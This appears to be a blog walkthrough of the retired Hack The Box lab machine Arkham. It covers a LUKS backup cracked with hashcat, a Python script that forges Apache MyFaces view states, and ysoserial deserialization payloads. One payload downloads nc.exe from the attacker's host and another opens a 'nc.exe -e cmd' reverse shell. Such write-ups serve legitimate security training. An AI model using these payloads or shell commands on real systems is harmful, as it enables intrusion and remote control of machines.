This post documents the complete walkthrough of Arkham, a retired vulnerable VM created by MinatoTW, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.
On this post
Background
Arkham is a retired vulnerable VM from Hack The Box.
Information Gathering
Let’s start with a masscan
probe to establish the open ports in the host.
# masscan -e tun0 -p1-65535,U:1-65535 10.10.10.130 --rate=700
Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-03-21 08:29:45 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 80/tcp on 10.10.10.130
Discovered open port 49667/tcp on 10.10.10.130
Discovered open port 8080/tcp on 10.10.10.130
Discovered open port 135/tcp on 10.10.10.130
Discovered open port 445/tcp on 10.10.10.130
Discovered open port 49666/tcp on 10.10.10.130
Discovered open port 139/tcp on 10.10.10.130
Well, masscan
finds a couple of open ports. Let’s do one better with nmap
scanning the discovered ports for services.
# nmap -n -v -Pn -p80,135,139,445,8080,49666,49667 -A --reason -oN nmap.txt 10.10.10.130
...
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
445/tcp open microsoft-ds? syn-ack ttl 127
8080/tcp open http syn-ack ttl 127 Apache Tomcat 8.5.37
| http-methods:
| Supported Methods: GET HEAD POST PUT DELETE OPTIONS
|_ Potentially risky methods: PUT DELETE
|_http-title: Mask Inc.
49666/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Nothing extraordinary.
SMB Net Shares
And since SMB is available, let’s use smbmap
to see what we can find.
# smbmap -H 10.10.10.130 -u guest -R | tee smbmap.txt
[+] Finding open SMB ports.... [0/1821]
[+] Guest SMB session established on 10.10.10.130...
[+] IP: 10.10.10.130:445 Name: 10.10.10.130
Disk Permissions
---- -----------
ADMIN$ NO ACCESS
BatShare READ ONLY
.\
dr--r--r-- 0 Sun Feb 3 13:04:13 2019 .
dr--r--r-- 0 Sun Feb 3 13:04:13 2019 ..
-r--r--r-- 4046695 Sun Feb 3 13:04:13 2019 appserver.zip
C$ NO ACCESS
Hmm. The Bat is sharing something in BatShare. Let’s mount the share and copy it to my attacking machine for further analysis.
# mount -t cifs -o rw,username=guest,uid=0,gid=0 //10.10.10.130/BatShare bs
First, we ascertain that it’s indeed a ZIP archive file.
# file appserver.zip
appserver.zip: Zip archive data, at least v2.0 to extract
Next, we list out what are the files in it.
# unzip -l appserver.zip
Archive: appserver.zip
Length Date Time Name
--------- ---------- ----- ----
149 2018-12-25 06:21 IMPORTANT.txt
13631488 2018-12-25 06:05 backup.img
--------- -------
13631637 2 files
OK. IMPORTANT.txt
may really offer important clues.
# cat IMPORTANT.txt
Alfred, this is the backup image from our linux server. Please see that The Joker or anyone else doesn't have unauthenticated access to it. - Bruce
I’m sensing a Batman theme here. Next up, check what kind of file is backup.img
.
# file backup.img
backup.img: LUKS encrypted file, ver 1 [aes, xts-plain64, sha256] UUID: d931ebb1-5edc-4453-8ab1-3d23bb85b38e
Holy cow! A Linux encrypted disk image.
The fine folks at hashcat has enabled LUKS support according to this forum post.
All we have to do is to extract the header and send it to hashcat for cracking.
# dd if=backup.img of=header.luks bs=512 count=4097
4097+0 records in
4097+0 records out
2097664 bytes (2.1 MB, 2.0 MiB) copied, 0.0553653 s, 37.9 MB/s
Because I have a GPU in my windows host machine, I’ll be using hashcat in Windows for the job.
C:\Users\Bernard Lim\Downloads\tools\hashcat-5.1.0> hashcat64 -m 14600 -a 0 -o cracked.txt header.luks rockyou.txt
And because it has a Batman theme to it, I’ll create a custom wordlist from rockyou.txt.
# grep -Ei 'batman|arkham|joker|alfred|bruce' /usr/share/wordlists/rockyou.txt > batman.txt
# wc -l batman.txt
5532 batman.txt
5k words is definitely more manageable than 14M!
Time for cracking.
Boom!
Mounting a LUKS Image
We need to open the LUKS image with cryptsetup
like so.
# cryptsetup open --type luks backup.img batman
It’ll prompt you for the password, which is batmanforever
. Once that’s done, we can mount it.
# mount /dev/mapper/batman /root/Downloads/arkham/batman
It’s the backup of the Tomcat instance at 8080/tcp
.
Apache MyFaces Serialization Remote Command Execution
From the look of faces-config.xml
, it appears that Apache MyFaces 1.2 is in use. This is further confirmed by this link on the http
service at 8080/tcp
.
Check out the HTML source of userSubscribe.faces
.
Research into Apache MyFaces 1.2 led me to this page. The view state above is a base64-encoded, DES encrypted Java serialized object. The important thing about this page is the default values used.
To the end, I wrote some Python code to test it out.
from Crypto.Cipher import DES
import base64
import hmac
import hashlib
def padding_append(data):
if len(data) % 8:
for n in xrange(len(data)):
if ((len(data) + n) % 8) == 0:
data += chr(n) * n
break
return data
def padding_remove(data):
data = map(ord, data)
padv = data[-1]
if data[-padv:] == [padv,] * padv:
data = data[:-padv]
return "".join(map(chr, data))
def decrypt_viewstate(viewstate, secret):
secret = base64.b64decode(secret)
des = DES.new(secret, DES.MODE_ECB)
viewstate = base64.b64decode(viewstate)[:-20]
viewstate = [viewstate[n:n+8] for n in xrange(0, len(viewstate), 8)]
viewstate = "".join(map(des.decrypt, viewstate))
viewstate = padding_remove(viewstate)
return viewstate
def encrypt_viewstate(viewstate, secret):
secret = base64.b64decode(secret)
des = DES.new(secret, DES.MODE_ECB)
viewstate = padding_append(viewstate)
viewstate = [viewstate[n:n+8] for n in xrange(0, len(viewstate), 8)]
viewstate = "".join(map(des.encrypt, viewstate))
viewstate += hmac.new(secret, viewstate, hashlib.sha1).digest()
viewstate = base64.b64encode(viewstate)
return viewstate
From web.xml.bak
we got the secret, which is the same for both DES and HMAC-SHA1.
Let’s give it a shot.
It’s a serialized Java object indeed!
Now, we can use ysoserial
to generate a payload and sneak it into the view state.
The Apache MyFaces 1.2 project page lists the Commons Collections framework as one of its dependencies. Let’s use it to generate our payload, specifically CommonsCollections6 for commons-collections:3.1.
# java -jar ysoserial.jar CommonsCollections6 'powershell Invoke-WebRequest http://10.10.12.32/nc.exe -OutFile nc.exe' > payload
The first payload is to copy a nc.exe
to the current directory or folder, wherever that may be, using PowerShell.
Next, we copy the base64
-encoded string and put it into the view state parameter for the Tomcat back-end to deserialize it.
I think we achieved remote command execution! Our next payload will be to run a reverse shell back to us.
# java -jar ysoserial.jar CommonsCollections6 'nc.exe 10.10.12.32 1234 -e cmd' > payload
Here’s the base64
-encoded payload.
Let’s do the same thing: replace with the original view state with our own.
And we have ourselves a low-privilege shell! We can also enter into a PowerShell session.
The user.txt
is in Alfred
’s desktop.
Privilege Escalation
During enumeration of Alfred
’s account, I notice a file backup.zip
in the Downloads folder. The file contains the Offline Storage Table (OST) of Alfred
’s email account. I copied the file to the Tomcat webroot to download to my attacking machine for further analysis.
We can use pffexport
to export the mails, if any.
# pffexport -m all [email protected]
There’s only one email in the Drafts folder. Here’s how it looks like.
Armed with Batman
’s password, we can now log in to his account. Batman
is an administrator by the way! One more thing, Batman
is also a member of the Remote Management Users group. As such, I can use PowerShell Remoting to enter into a PowerShell session with his credentials.
Recall my nc.exe
is still somewhere in the file system? Let’s use it to run another reverse shell back to me, this time as Batman
.
And here’s my reverse shell.
With that, getting root.txt
is trivial.